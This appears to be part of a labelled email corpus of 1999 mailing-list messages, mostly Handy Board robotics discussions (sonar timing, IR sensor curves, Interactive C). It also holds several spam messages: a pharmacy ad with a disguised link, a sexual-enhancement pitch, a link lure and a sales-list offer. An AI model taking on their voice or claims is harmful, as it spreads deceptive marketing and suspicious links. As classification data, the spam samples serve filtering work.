someone suggested trying to get the address of each dept's mailing list for grads (not all depts have them) since we won't be able to use the mailing list for all GRS grads in general. That way we'd have a way to contact most grads directly if a critical issue should come up. Social Committee ================ Cassandra Celatka and Amy Tapper were present for this committee. They will be thinking about possible social events for the New International TF Orientation in August (see Liaison Committee report above). Steering Committee ================== Kendra Carter Dave Morgan , and Jen Wenner were present for this committee. Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 2. Constitution, Bylaws, etc. We mainly made minor changes to the ""Dept Reps"" and ""Meetings"" articles.",0,1 orthner@idirect.com,handyboard@media.mit.edu,"Fri, 28 May 1999 18:14:04 -0400",Re: hbtest.c Problems,"At 06:42 PM 5/28/99 +0100, Matt Austin wrote: > I'm having a problem with the hbtest.c program on my handyboard, I'm at >stage 7.2.2 of assembly, where you load the above file using ic, and it >wont load it. DL works fine, and ic will download other .c files, and I can >type c expressions at the ic command prompt, and these work, but when I try >to load hbtest.c by typing ""load hbtest.c"" it gives several errors, talking >about undefined processes within hbtest.c, and then unloads the program. Matt, these functions are likely defined in: lib_hb.c lib_hb.icb Which should be listed in your library file for the HB: lib_hb.lis Hope this helps, Duncan ",0,0 James Ronald ,Handyboard ,"Fri, 28 May 1999 15:43:45 -0400",Fw: HOW TO UNSUBSCRIBE,"-----Original Message----- From: Fred G Martin To: handyboard@media.mit.edu Date: Wednesday, May 12, 1999 7:33 AM Subject: HOW TO UNSUBSCRIBE >greetings all, > >the time has arisen for the periodic unsubscribe reminder. > >1. to unsubscribe from the Handy Board mailing list, send a request to >Fred Martin, fredm@media.mit.edu. > >2. Word has it that the one person who can actually take you OFF the >Handy Board mailing list the same person who put you on. That person is >Fred Martin, fredm@media.mit.edu. > >3. Writing to the whole entire list with an unsubscribe request is rude >and annoying. Did you know that there is this guy, the guy who runs the >list, that can take you off? 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What compiler do you use, and what WinTel system do you use? > > > > Does anybody know how what function(C++) should i use to read and input or > > make an output through a serial or parallel port > > > > What function should use or make? > > > > > > Thanks in advance > > > > Daniel > > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,0 Jose Luis De Filpo ,Handy Board Mailing List ,"Sun, 30 May 1999 20:14:45 -0300",Memory & Sound Detection,"Hi, Is there a way to remove a program from the memory of the HB without downloading the PCode? , for example i have two programs in memory, and i want to remove only one of them, is it possible? Also i am looking for a way to use 2 or 3 electret mics to make the robot follow sounds, I know that is needed a preamp between mic and analog input, but I'm not sure about the circuit to be used. Has someone tried this? Thank You Jose Luis ",0,0 """Patrick P.K. Hui"" ",Jose Luis De Filpo ,"Mon, 31 May 1999 08:05:20 +0800",Re: Memory & Sound Detection,"Hello, >Hi, > > Is there a way to remove a program from the memory of the HB >without downloading the PCode? , for example i have two programs in memory, >and i want to remove only one of them, is it possible? Using ""unload filename.c"" to unload any program resides in the memory. > Also i am looking for a way to use 2 or 3 electret mics to make the >robot follow sounds, I know that is needed a preamp between mic and analog >input, but I'm not sure about the circuit to be used. Has someone tried >this? You can take a look of the book ""Mobile Robot -- Inspiration to Implementation"" It has a circuitry exactly to do this. It uses an amplifier LM386 (very common one) and connects the output to A/D pin of port E to detect some sort of patterns. Best Regards, Patrick Hui --00-------------------------------------------------------- Robot Store (HK) Low cost MIT Handyboard supplier and Official Distributor of Interactive-C 3.x Official Distributor of Imagecraft ANSI-C Compilers ** An intelligent C programmable controller board to build your own Mobile Robot WWW: http://home.hkstar.com/~huip for more info Tel: +(852) 2563-8511 Mobile: +(852) 9752-0677 Fax: +(852) 2887-2519 or +(852) 2851-0804 E-mail: huip@hkstar.com Stay tune, our domain name (http://www.RobotStoreHK.com) will be coming soon! ",0,1 orthner@idirect.com,handyboard@media.mit.edu,"Sun, 30 May 1999 20:47:54 -0400",Re: Memory & Sound Detection,"At 08:14 PM 5/30/99 -0300, Jose Luis De Filpo wrote: > Is there a way to remove a program from the memory of the HB >without downloading the PCode? , for example i have two programs in memory, >and i want to remove only one of them, is it possible? Umm, not sure what exactly you are asking here. If you have programs loaded in the HB, then you also have the pcode downloaded. At the IC prompt type ""unload filename.c"" and the file will be removed from the HB. > Also i am looking for a way to use 2 or 3 electret mics to make the >robot follow sounds, I know that is needed a preamp between mic and analog >input, but I'm not sure about the circuit to be used. Has someone tried >this? This was done ten years ago on squirt, a very tiny MIT (olympic robot competition era) robot. The sound was localized via the difference in amplitude between two microphones. This circuit is in the olympic robot building manual (A.I. Lab memo #1230)and the paper on squirt (memo #1120). A similar circuit was used on the rug warrior, I think. That circuit is available on the EAS site at: http://www.hooked.net/~jfong/public/Computers/fingerboard/schematics/fb_inte rface.pdf I think a better (more directionally accurate) method would be to use timing differences and use three microphones. To that end I've been considering programming a PIC to do the timing and then just (serially?) output the direction information to the HB. Hope this helps, Duncan ",0,1 """Kwang-Ju, Lee"" ",Handyboard Mailing List ,"Mon, 31 May 1999 18:18:36 +0900",Sonar_closeup() doesn't work!,"I've downloaded sonar.c in Software/Libraries in Handy board homepage, and tested it with my H/B and Polarloid 6500 Sonar Module. Function sonar_sample() works well. But sonar_closeup() doesn't work. It always returns about 6700 regardless of Sonar's position while sonar_sample() returns 6700~23000. So I modified the code, but the function -sonar_closeup() always returns about 6700 until I make following changes: I changes the gap between INIT high and BINH high signal. That is, I rewrite following code in sonar_closeup() line 8 while((peekword(0x100e) - start_time) < 1000 ); as -> while((peekwork(0x100e -start_time) < 4800 ); I change the gap 2000, 3000, and 4000, but It doesn't work till the value greater than 4800 - it is 2.40 ms. which is no better than sonar_sample(). Who knows how I can measure more closer distance with this sonar module?",0,0 Thomas Hauri ,"""Kwang-Ju, Lee"" ","Mon, 31 May 1999 11:50:35 +0200",Re: Sonar_closeup() doesn't work!,"Hi resending a message posted a while ago. Hi all if anyone has problems using the 6500 series for distances below 35cm by using the binh signal I have a possible solution to the problem. We also expierienced problems using the sensors for distances between 15cm and 40cm. We finally found out that the digital chip (TL851) on the 6500 board gets huge voltage spikes making it detect an echo even if there was none. We solved the problem by adding an additional capacitior to the powersupply. THE REWORK Solder a tantal c (1uF) directly to pin 3(Gnd) and pin 1 (+) of chip U2 (TL851). This will filter the spikes keeping them from droping below 2.5 V. If anyone has a better way of solving this problems please tell me. cu TOM hope this helps. > I've downloaded sonar.c in Software/Libraries in Handy board homepage, > and tested it with my H/B and Polarloid 6500 Sonar Module. > Function sonar_sample() works well. But sonar_closeup() doesn't work. > It always returns about 6700 regardless of Sonar's position while sonar_sample() > returns 6700~23000. So I modified the code, but the function -sonar_closeup() > always returns about 6700 until I make following changes: > I changes the gap between INIT high and BINH high signal. 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I could not find a explanation in the IC manual. Please include a simple example. Is it similar to start_process ?? Thanks, Terry Gathright",0,0 765usa@msgbox.com,,"Tue, 01 Jun 1999 08:23:01 -0400",from Helen Astor/to president," Forward to the president of the company please. Referred by J.B.S./8/3/98 opt in >From Helen Astor, Somerset, New Jersey USA DONT JUST EMAIL BACK ! ! ! We are extremely targeted and will NOT send back just general info by e-mail. Targeted works beautifully.........untargeted does not. We need additional details over the phone to get you the properly targeted further info. If you are interested in: ............. English Speaking......................... 1. Bilingual sales reps.....currently seeking to represent American/and/or international companies. ......... We have lists of both. 2. Bilingual distributors.....currently importing from American/and/or international companies.............. we have lists of both 3. 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We will not reply back with General info over the internet. 732-247-3173 FROM: Scott Allen Export Sales 36 Heather Drive Somerset, New Jersey 08873 USA 732-247-3173 Bill Higgins Janet Brandt Fritz Young Helen Astor Jose Rivera Larry Cohen Susan Miller ",0,0 Bob_Kelly/First_Union@firstunion-reit.com,HANDYBOARD@MEDIA.MIT.EDU,"Tue, 01 Jun 1999 09:24:38 -0400",Ranging techniques," Hello everyone... If I may be permitted to ask your input on some of the following... I have implemented a Polaroid sonar module and a GP2D02 IR ranging unit on a R/C servo actuated pan/tilt mechanism. I can put in ""scan_long(45.0)"" or ""scan_short(45.0)"" and a sensor reading 45 degrees to the right of the centerline of the robot that supplies me with the average of 10 ""hits"" of the ""sonar_sample()"" or ""sonar_closeup()"" and a GP2D02 reading at short range.. Everything appears to work well and I am very satisfied to this point with the progress I am making on my robot. However.... 1). The Polaroid module seems to be very linear in its output, as would be expected by the time of flight method. I am using a factor of sonar output divided by 3636.3636 to get the range in feet. The two methods of measurement each seem to have their own useful envelope. The ""sonar_closeup()"" function is good betwee about 6"" and about 2 1/2 feet. The ""sonar_sample()"" routine appears to work well between 1 1/2 feet and about 6 1/2 feet. This is fine as the ranges overlap and I can write a routine to use the correct function to provide a good time of flight range. My question is, if the sonar is supposed to be good out to about thirty feet, why do I get alot of ""-1"" returns from the sonar function out past about 8 feet? And why, between about 6 feet and 8 feet do the readings become somewhat inconsistent? Overall, I find the current capabilities fine for what I am doing and the max reasonably accurate range of 6 feet acceptable, but hey, there's always room for improvement. 2). The GP2D02 works well too and is very useful in the short range and provides a very accurate (read: consistent) reading between about 1 1/2 feet and 2 or 3 inches. This is excellent and fill s a gap left by the sonar. Plus, while the software driver is active, the global value is updated constantly. The problem is, the output of the sensor is not linear and I want to convert the output into inches or feet so it can be used along with the sonar output (I plan to implement some sort of comparison between sensor readings and have what seems to be the most accurate sensor for a given range used). I have logged the average of three readings for each inch of range over 18 inches and have found the sensor readings have larger changes at short ranges than for the same change in acual distance at longer distances. I graphed the readings in excel and it is a nice, smooth and predictable curve. I can't find my high school algebra books anywhere but I just know there is a method of converting the non-linear output to linear inches. (By the way, I modified the output of the sensor by subtracting it from 238, which is what appears to be the closest range reading obtainable before the sensor becomes unreliable - this gives me an output that ranges from zero at close range and about 155 at long range). Has anyone had any success at converting the output of this sensor to inches or some other linear unit of measure? It would be very helpful if somebody assisted my mathematically challenged self. Thank you all in advance for your input, Regards, Bob Kelly. ",0,0 """Weng, Andrew"" ","""'handyboard@media.mit.edu'"" ","Tue, 01 Jun 1999 05:21:54 -0400",Encoder routines..,"Some of you have asked for the modifications I made to the encoder routines to work with quadrature encoders. The real work of reading the encoders is done by the LS7084 from US digital (www.usdigital.com - $3.05). The chip takes the A and B channel inputs from the encoder and outputs a pulse for each tick and a direction (HI or LOW). Because the pulse is too narrow for the HB to read directly, one channel is also connected to the HB input for the qencoder routines. I modified the sencdr2 and sencdr4 routines to expect the input on port 2 (or 4) and the direction on port 3 (or 5). Each ""tick"" is counted only on the rising edge so the encoder2_counts variable matches the specs of the encoder. I also removed the encoder2_velocity variable. I hope to do more with the LS7084 and make a complete ""smart"" PID sub-system (PIC??) Any comments or suggestions would help. -Drew ",0,0 Bob Kelly ,handyboard@media.mit.edu,"Tue, 01 Jun 1999 11:13:57 -0400",Ranging techniques,"Hello everyone... If I may be permitted to ask your input on some of the following... I have implemented a Polaroid sonar module and a GP2D02 IR ranging unit on a R/C servo actuated pan/tilt mechanism. I can put in ""scan_long(45.0)"" or ""scan_short(45.0)"" and a sensor reading 45 degrees to the right of the centerline of the robot that supplies me with the average of 10 ""hits"" of the ""sonar_sample()"" or ""sonar_closeup()"" and a GP2D02 reading at short range.. Everything appears to work well and I am very satisfied to this point with the progress I am making on my robot. However.... 1). The Polaroid module seems to be very linear in its output, as would be expected by the time of flight method. I am using a factor of sonar output divided by 3636.3636 to get the range in feet. The two methods of measurement each seem to have their own useful envelope. The ""sonar_closeup()"" function is good betwee about 6"" and about 2 1/2 feet. The ""sonar_sample()"" routine appears to work well between 1 1/2 feet and about 6 1/2 feet. This is fine as the ranges overlap and I can write a routine to use the correct function to provide a good time of flight range. My question is, if the sonar is supposed to be good out to about thirty feet, why do I get alot of ""-1"" returns from the sonar function out past about 8 feet? And why, between about 6 feet and 8 feet do the readings become somewhat inconsistent? Overall, I find the current capabilities fine for what I am doing and the max reasonably accurate range of 6 feet acceptable, but hey, there's always room for improvement. 2). The GP2D02 works well too and is very useful in the short range and provides a very accurate (read: consistent) reading between about 1 1/2 feet and 2 or 3 inches. This is excellent and fill s a gap left by the sonar. Plus, while the software driver is active, the global value is updated constantly. The problem is, the output of the sensor is not linear and I want to convert the output into inches or feet so it can be used along with the sonar output (I plan to implement some sort of comparison between sensor readings and have what seems to be the most accurate sensor for a given range used). I have logged the average of three readings for each inch of range over 18 inches and have found the sensor readings have larger changes at short ranges than for the same change in acual distance at longer distances. I graphed the readings in excel and it is a nice, smooth and predictable curve. I can't find my high school algebra books anywhere but I just know there is a method of converting the non-linear output to linear inches. (By the way, I modified the output of the sensor by subtracting it from 238, which is what appears to be the closest range reading obtainable before the sensor becomes unreliable - this gives me an output that ranges from zero at close range and about 155 at long range). Has anyone had any success at converting the output of this sensor to inches or some other linear unit of measure? It would be very helpful if somebody assisted my mathematically challenged self. Thank you all in advance for your input, Regards, Bob Kelly. ",0,0 """R. Baker Kearfott"" ",reliable_computing@interval.usl.edu,"Mon, 31 May 1999 22:46:17 -0500",address verification results,"Dear reliable_computing members, Thank you for your cooperation in the semi-annual address verification process. This process has revealed the following invalid addresses, that I have removed from the list. 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Baker Kearfott, rbk@usl.edu (318) 482-5346 (fax) (318) 482-5270 (work) (318) 981-9744 (home) URL: http://interval.usl.edu/kearfott.html Department of Mathematics, University of Southwestern Louisiana USL Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Bruce Pixton ,handyboard@media.mit.edu,"Tue, 01 Jun 1999 11:07:18 -0600",Using IC with the 6811 Eval board,"I've been using Interactive C with the Handy Board and like the convenience of C commands. I am now trying to work with Motorola's HC11EVBU evaluation board (same 6811 chip, different interface). It has a program called BUFFALO which is a watered-down assembly code that runs in ROM, but I want to be able to use C. My Question: Has anyone been successful in downloading the P-Code to the 6811 Eval Board and actually using Interactive C with the board? Otherwise, what other options are available for using a C compiler with the HC11EVBU? I appreciate any comments. Thank you. Bruce Pixton pixtonb@max.ee.byu.edu ",0,0 Barry Brouillette ,"'Bob Kelly' , ""'handyboard@media.mit.edu'"" ","Tue, 01 Jun 1999 13:40:08 -0400",RE: Ranging techniques,"The GP2D02 output is an exponential curve so plugghing the a bunch of samples into a TI calculator and solving for the coefficients gave me the following two equations for two different sensors. G is 255 minus the ouptut reading from the GP2D02. Note that two sensors have two different equations. The GP2D02 is extemely consistant from reading to reading using the same sensor. It has pretty wide variation from sensor to sensor however. You'll need to do something like this to smooth your data. Barry mm = 44.1173 * 1.0128 ^ G mm =49.3131 * 1.0114 ^ G -----Original Message----- From: Bob Kelly [mailto:rkelly@firstunion-reit.com] Sent: Tuesday, June 01, 1999 11:14 AM To: handyboard@media.mit.edu Subject: Ranging techniques Hello everyone... If I may be permitted to ask your input on some of the following... I have implemented a Polaroid sonar module and a GP2D02 IR ranging unit on a R/C servo actuated pan/tilt mechanism. I can put in ""scan_long(45.0)"" or ""scan_short(45.0)"" and a sensor reading 45 degrees to the right of the centerline of the robot that supplies me with the average of 10 ""hits"" of the ""sonar_sample()"" or ""sonar_closeup()"" and a GP2D02 reading at short range.. Everything appears to work well and I am very satisfied to this point with the progress I am making on my robot. However.... 1). The Polaroid module seems to be very linear in its output, as would be expected by the time of flight method. I am using a factor of sonar output divided by 3636.3636 to get the range in feet. The two methods of measurement each seem to have their own useful envelope. The ""sonar_closeup()"" function is good betwee about 6"" and about 2 1/2 feet. The ""sonar_sample()"" routine appears to work well between 1 1/2 feet and about 6 1/2 feet. This is fine as the ranges overlap and I can write a routine to use the correct function to provide a good time of flight range. My question is, if the sonar is supposed to be good out to about thirty feet, why do I get alot of ""-1"" returns from the sonar function out past about 8 feet? And why, between about 6 feet and 8 feet do the readings become somewhat inconsistent? Overall, I find the current capabilities fine for what I am doing and the max reasonably accurate range of 6 feet acceptable, but hey, there's always room for improvement. 2). The GP2D02 works well too and is very useful in the short range and provides a very accurate (read: consistent) reading between about 1 1/2 feet and 2 or 3 inches. This is excellent and fill s a gap left by the sonar. Plus, while the software driver is active, the global value is updated constantly. The problem is, the output of the sensor is not linear and I want to convert the output into inches or feet so it can be used along with the sonar output (I plan to implement some sort of comparison between sensor readings and have what seems to be the most accurate sensor for a given range used). I have logged the average of three readings for each inch of range over 18 inches and have found the sensor readings have larger changes at short ranges than for the same change in acual distance at longer distances. I graphed the readings in excel and it is a nice, smooth and predictable curve. I can't find my high school algebra books anywhere but I just know there is a method of converting the non-linear output to linear inches. (By the way, I modified the output of the sensor by subtracting it from 238, which is what appears to be the closest range reading obtainable before the sensor becomes unreliable - this gives me an output that ranges from zero at close range and about 155 at long range). Has anyone had any success at converting the output of this sensor to inches or some other linear unit of measure? It would be very helpful if somebody assisted my mathematically challenged self. Thank you all in advance for your input, Regards, Bob Kelly. ",0,0 """Curt Mills, WE7U"" ",Bruce Pixton ,"Tue, 01 Jun 1999 11:21:05 -0700",Re: Using IC with the 6811 Eval board,"On Tue, 1 Jun 1999, Bruce Pixton wrote: > I've been using Interactive C with the Handy Board and like the > convenience of C commands. I am now trying to work with Motorola's > HC11EVBU evaluation board (same 6811 chip, different interface). It has a > program called BUFFALO which is a watered-down assembly code that runs in > ROM, but I want to be able to use C. > > My Question: Has anyone been successful in downloading the P-Code to the > 6811 Eval Board and actually using Interactive C with the board? > > Otherwise, what other options are available for using a C compiler with > the HC11EVBU? Allow me to be redundant (others on the list are tired of hearing about it I'm sure): Go to www.eskimo.com/~archer, and snag the HC11 patches to the GCC-2.8.1 compiler. In there is a readme that tells how to get it going on a Linux box. It shouldn't be too hard to get it going on any other platform that is supported by GCC (most unix-like operating systems). You'll also need to go snag the GCC-2.8.1 sources, but they are readily available. There's also a Handyboard library there for download, which might give you some hints on how to get going with the EVB board. An alternate path to the software: ftp://ftp.eskimo.com/u/a/archer There are also commercial C compilers that you can use. If you want a DOS GCC compiler (DJGPP) for the HC11, I can point you to that as well. I ported quite a large program from Interactive-C over to GCC and have it running on my Handyboard. It's quite a bit faster, and I still have a lot of memory available. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 """Nelson H. F. Beebe"" ","java-users@suncore.math.utah.edu, java-sig@suncore.math.utah.edu","Tue, 01 Jun 1999 14:40:08 -0600",New Java benchmark results,"In the latest issue of JavaWorld, I came across pointers to two recent Java benchmark sites which I've just been perusing; if you are interested, take a look at these: * The VolanoMark results page: http://www.volano.com/report.html * The SPECjvm98 home page: http://www.spec.org/osg/jvm98/ The latter also leads to pointers to other members of the well-known SPEC benchmark suites. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Guy & Gad Berg ,handyboard@media.mit.edu,"Tue, 01 Jun 1999 22:49:16 +0300",Re: Ranging techniques," Bob Kelly wrote: 2). The GP2D02 works well too and is very useful in the short range.... Has anyone had any success at converting the output of this sensor to inches or some other linear unit of measure? It would be very helpful if somebody assisted my mathematically challenged self. Well Bob, we had the same problem, so we used MATLAB to generate a polynom from the data points of the graph we found on the sharp data sheet. we got the following coefficients: 1.0e+003 * 0.0000 0.0000 0.0000 -0.0001 0.0058 -0.3032 6.6195 these are the coefficients of x^0,x^1,x^2...,x^6 when : y=ax^0+bx^1+cx^2+..+fx^6 if x is your reading, then y will be the distance in cm. I think... :-) Hope this helps. Guy ",0,0 Jose Luis De Filpo ,Handy Board Mailing List ,"Tue, 01 Jun 1999 16:34:30 -0300",RE: Memory & Sound Detection,"Thank You, i have downloaded the circuit from the URL : www.hooked.net/~jfong/public/Computers/fingerboard/schematics/fb_interface.p df , and i have another question, can the 5 V. pin of the analog input drive this circuit, How much current can draw this pin? Maybe I must take the power from another source. Thank You José Luis ----- Original Message ----- From: To: Sent: Sunday, May 30, 1999 9:47 PM Subject: Re: Memory & Sound Detection > At 08:14 PM 5/30/99 -0300, Jose Luis De Filpo wrote: > > > Is there a way to remove a program from the memory of the HB > >without downloading the PCode? , for example i have two programs in memory, > >and i want to remove only one of them, is it possible? > > Umm, not sure what exactly you are asking here. If you have programs loaded > in the HB, then you also have the pcode downloaded. At the IC prompt type > ""unload filename.c"" and the file will be removed from the HB. > > > Also i am looking for a way to use 2 or 3 electret mics to make the > >robot follow sounds, I know that is needed a preamp between mic and analog > >input, but I'm not sure about the circuit to be used. Has someone tried > >this? > > This was done ten years ago on squirt, a very tiny MIT (olympic robot > competition era) robot. The sound was localized via the difference in > amplitude between two microphones. This circuit is in the olympic robot > building manual (A.I. Lab memo #1230)and the paper on squirt (memo #1120). > A similar circuit was used on the rug warrior, I think. That circuit is > available on the EAS site at: > > http://www.hooked.net/~jfong/public/Computers/fingerboard/schematics/fb_inte > rface.pdf > > I think a better (more directionally accurate) method would be to use > timing differences and use three microphones. To that end I've been > considering programming a PIC to do the timing and then just (serially?) > output the direction information to the HB. > > Hope this helps, Duncan",0,1 Mike Jones ,"Bob_Kelly/First_Union@firstunion-reit.com, HANDYBOARD@MEDIA.MIT.EDU","Tue, 01 Jun 1999 15:10:01 +0500",Re: Ranging techniques,">The problem is, the output of the sensor is not linear >and I want to convert the output into inches or feet so it can be used >along with the sonar output (I plan to implement some sort of comparison >between sensor readings and have what seems to be the most accurate sensor >for a given range used). I have logged the average of three readings for >each inch of range over 18 inches and have found the sensor readings have >larger changes at short ranges than for the same change in acual distance >at longer distances. I graphed the readings in excel and it is a nice, >smooth and predictable curve. I can't find my high school algebra books >anywhere but I just know there is a method of converting the non-linear >output to linear inches. (By the way, I modified the output of the sensor >by subtracting it from 238, which is what appears to be the closest range >reading obtainable before the sensor becomes unreliable - this gives me an >output that ranges from zero at close range and about 155 at long range). >Has anyone had any success at converting the output of this sensor to >inches or some other linear unit of measure? It would be very helpful if >somebody assisted my mathematically challenged self. Why not just use a table of the 18 averaged values for lookup and then estimate in between the inch measurements. This would be faster than trying to to any floating point math as long as you don't need too precise of a value (I would think that 1/2 or 1/4 inch should be as accurate as you would need). Mike ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 01 Jun 1999 17:23:27 -0700",[DMDX] digital VOX," Initial research (it's summer and things are kinda slow and I was bored) by me into the creation of a digital VOX and the ability to record subject vocalization show that it is indeed possible with something as lowly as a Sound Blaster 16. Might only be a week or so before there's something for people to test. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hartley's First Law: You can lead a horse to water, but if you can get him to float on his back, you've got something. ",0,0 Dave Ashby ,Bill Peters ,"Tue, 01 Jun 1999 17:51:43 -0700",opd mods,"Hi Bill, I thought I would send you some notes about the changes that I have made to the focus command in the optical pointing daemon. I have added two parameters to the /etc/opdrc file. BACKLASH0 - This is the same as the term used to date. The value we have been using so far is -2000. I've changed the sign to see how it works. BACKLASH1 - Relaxation term you requested. This should have the same sign as BACKLASH0. If you log onto kueppers as smtobs, you will have write access to opdrc. If you edit opdrc, the opd will reread the file so there is no need to restart opd. There are now only two options to the focus command. The following is the response help command. help focus focus [-a] [-m steps] opt a - autofocus mode opt m - manual focus mode steps - number of steps to move The manual focus uses the new backlash terms, but the autofocus doesn't. I am not done with the modifications to the autofocus mode. I have attached a copy of the current opdrc file. -Dave. #-----------------------------------------------------------------------------# # opdrc / optical pointing daemon resource file # #-----------------------------------------------------------------------------# # Comment lines start with '#' in the first column and continue to the end # # of the line. # # Any text after the data value is a commend. # # Space, tab, ',' and '=' are all data # #-----------------------------------------------------------------------------# # camera info CCDTEMP = -25.0 C target temperature if the CCD # Communication MAILBOX = OPOINT local mailbox name TEST_MAILBOX = OP_TEST # Files and Directories Directories VARFILE = /var/lib/op/opvar contains current scan number RAWDATA = /var/spool/op/raw raw data directory REDDATA = /var/spool/op/red reduced data directory ERRLOG = /var/log/opd.log opd log file APFILE = /etc/apogeerc apogee rc(ini) file #OPRRC = /etc/oprrc opr resource file # Focus stuff BACKLASH0 = 2000 remove focus backlash BACKLASH1 = 0 relax the focus ",0,0 Federico ,Yahya ,"Wed, 02 Jun 1999 07:59:17 +0900",give me ur thoughts,"It's time to terminate the sadness of the magnitude of ur unit. come here www.verandseeitforisand.org/lr0/. It does not get nicer than this. of companies the Epirus accountant. His Stewart 18. Alexander had many interests in military strategies Federico. ",1,0 Savannah Bolen ,handyboard@media.mit.edu,"Tue, 01 Jun 1999 18:38:25 -0500",Enemy of your Fat,", ritual ! soffit on abbey try runty it wide ",1,0 Salpi Aroyan ,handyboard@media.mit.edu,"Tue, 01 Jun 1999 21:34:46 -0700",ICmain,"I accidentally hit ""download window"" and it defined a ""main"" function onto the board. How do I undefine ""main"" so I can define a new one? I don't remember the name of the window I downloaded. Thanks for your help! Salpi ",0,0 Sol ,handyboard@media.mit.edu,"Tue, 01 Jun 1999 23:58:27 -0700",Sharp GP1U58 Hack without modifing my board," I have two questions. I hope someone can help. First: Is there a way to use a Sharp GP1U58 hacked to give analog values WITHOUT cutting the trace to the resistor pack on the analog inputs? Perhaps using an OP AMP. Also would removing the resistor pack completely, effect the operation of the board. Second: I have a handyboard that doesn't function properly. I can load IC on to it but none of testdigitals, testmotors, or testanalogs work. I have removed all the chips and put them in a board that works. So I have ruled out the chips themselves. Also when completeing the tests pin 9 on U5 is always high. This board was working and them it stopped. I believe it may have suffered a short circuit. Sol Lancashire Victoira, Canada ",0,0 Duke Brady ,handyboard@media.mit.edu,"Wed, 02 Jun 1999 21:18:22 -0400",for your family good health,"The Only online pharmacy verified by BBB and approved by Visa Seal of Confidence Quality meds at quality prices, and shipping so discrete that comes fast at your doorstep Please give us an opportunity fo check us http://tvjqgb.histbrush.info/?lzmpswdfuejs not interested? you can out-out at our website ",1,1 Bob Kelly ,HANDYBOARD@MEDIA.MIT.EDU,"Wed, 02 Jun 1999 10:47:52 -0400",DINSMORE 1490 COMPASS,"Hello all, If I may trouble one (or two) of you electronics gurus out there... I have a Dinsmore 1490 compass. It has twelve leads for a total of 4 sensors. I am hoping that I can at least get a rough eight point heading from this thing. I would like to get an analog reading out of it so that I don't have to use four digital (or analog) inputs. I would think a voltage divider would work, but I am somewhat inexperienced in designing my own circuits from scratch. Has anyone out there successfully implemented one of these little gadgets to one analog input? If so, if you would be kind enough to e-mail me a sketch of your circuit with the resistor values, etc. I would be very pleased, indeed. I am using Windows, so generally any compatable file type is ok, and I also have a late version of Auto-CAD. Thank you very much. Regards, Bob Kelly ",0,0 Joey Sims ,'gilfoyle' ,"Wed, 02 Jun 1999 11:29:05 -0400",RE: the order,"no problem, let me discuss with branch manager. So, you have an abundance of network cards and memory? > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Wednesday, June 02, 1999 11:26 AM > To: Joey.Sims@PonyComputer.com > Subject: the order > > hi joey, > > the machines arrived last week and we have been happily > taking things out of boxes and setting them up. nevertheless, > it appears we made a mistake on the purchase order. we sent > two actual purchase orders out; one for the cpus and one > for the remaining equipment. the second purchase order mistakenly > included two items that were on the first one. in particular, we > received a box with thirteen ethernet cards even though the > cpus came with their own (13) ethernet cards installed. we also > wanted to add memory to each machine (which you installed in each > machine), but we also received a package with 10 additional > memory cards. this leads to two questions. it appears that we > have paid for extra ethernet cards and memory boards that we > don't need. what is the best way to deal we this? should we > send the extra equipment back and revise our second purchase > order? i have sent the first purchase order (with just the > cpus on it) to our accounting department so you will be paid > for that part of the order. let me know what you think? > > cheers, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Hilda ,handyboard@media.mit.edu,"Wed, 02 Jun 1999 09:27:34 -0500",news from Hilda ,"Increase your CUM VOLUME, and Orgasm Length main benifits: - The longest most intense Orgasms of your life - Erctions like steel - lncreased libido/desire - Stronger ejaculaton (watch where your aiming) - Multiple 0rgasms - Up to 5OO% more volume (cover her in it if you want) - Studies show it tastes sweeter DISCREET SAME DAY SHIPPING - TRY IT, YOU'LL L0VE IT! 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Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jun 1999 14:22:23 -0700",[DMDX] digitalVOX," At the risk of getting snowed with responses I'm canvassing for input on how the digital VOX should work as Ken is away in France. Specifically, how the issue of sensitivity should be dealt with. The way the digital VOX is going to work is that with the CLOCKON frame being displayed DMDX will starting recording into a fixed length input buffer (length determined by the subject RT timeout) and then every 100ms or so (user specifyable) it will examine as much of that buffer that has not been examined already and that is examinable and look for a sample that exceeds the threshold for vocalization and when found calculate when that sample was recorded and generate a subject RT accordingly. It is the determination of that threshold that is the intriuging thing. On a conventional electronic VOX you've usually got a dial and meter and you set the microphone apparatus up and pretend to be a subject adjusting that threshold dial till you are sure it can't be adjusted any better -- you're certainly almost never happy with it, but that's a VOX for you. DMDX is not likely to be any different (except that you can get it to record the vocalization as well and perhaps perform some post run refinement of RTs), however the issue is how and where is that threshold to be set and for how long should it be remembered? Options include: (1) Only allowing it to be set in TimeDX, providing a VU display feedback and so forth and the resulting threshold stored in the registry and all runs of DMDX simply use that value. (1a) Same as (1) but having another button in the DMDX main dialog to determine the threshold and not using TimeDX at all. (2) Allowing DMDX to enter a special mode similar to a testmode (ie, as part of an item file) to determine the thresold providing a VU display &c., storing the resulting threshold it in the registry (using that value for the initial setting of course). (3) Allowing the experimenter 